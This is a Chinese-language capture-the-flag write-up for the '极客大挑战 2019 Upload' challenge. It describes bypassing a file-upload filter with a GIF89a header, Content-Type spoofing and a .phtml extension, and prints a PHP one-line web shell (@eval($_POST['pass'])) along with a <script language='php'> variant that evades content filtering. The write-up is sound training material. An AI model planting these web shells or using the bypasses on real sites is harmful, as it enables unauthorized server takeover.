• [极客大挑战 2019]Upload


    0x00

    打开界面,发现是一道上传题

    首先我们来测试一下上传的文件类型,新建一个文件命名为1.jpg,进行上传,得到

    根据提示我们可以猜测到,对文件头进行了检测,这里我们假设使用的是exif_imagetype函数,在文件里第一行加上GIF89a来绕过,上传得到结果如下

    上传成功,说明我们的假设是正确的,我们将文件重新命名为1.php,进行上传,得到结果如下

    说明对文件的拓展名也进行了过滤,进行模糊测试,发现与php相关的全被过滤掉
    通过谷歌插件看到站点使用的是nginx,上传.user.ini也上传失败

    我们继续假设后端对数据包的Content-Type类型进行了过滤,来进行测试,上传1.php并且通过BurpSuite进行如下修改

    得到结果如下,说明后端还对拓展名进行了过滤,继续进行模糊测试

    模糊测试后发现没有过滤phtml,上传结果如下

    接下来我们上传一句话木马,将1.phtml的内容改为如下

    GIF89a
    <?php @eval($_POST['pass']);?>
    

    得到结果如下,对内容也进行了过滤

    我们将1.phtml的内容改为如下来绕过

    GIF89a
    <script language="php">@eval($_POST['pass']);</script>
    

    上传后得到如下结果

    我们打开1.phtml,经过一系列测试发现被上传到了upload路径下,访问结果如下

    打开蚁剑进行连接

    获取flag

    0x01 总结

    • 1.Content-Type绕过

    • 2.黑名单绕过

    • 3.exif_imagetype函数绕过

    • 4.内容过滤<?绕过

    <?php @eval($_POST['pass']); ?>
    ## 替换为如下
    <script language="php">@eval($_POST['pass']);</script>
    
  • 相关阅读:
    根据年月日算出当前日期是星期几
    告别where 1=1 最佳方案分享
    服务器时间,剩余天、小时、分、秒倒计时代码
    分享一个Web弹框类
    从网上搜集了两篇关于数据库分页性能分析总结
    Request、Request.Form和Request.QueryString的区别
    LINQ to SQL语句之Join和Order By
    List转换成Json、对象集合转换Json等
    GRID控件删除之前确认
    LeetCode 141
  • 原文地址:https://www.cnblogs.com/Wuser/p/13631517.html
Copyright © 2020-2023  润新知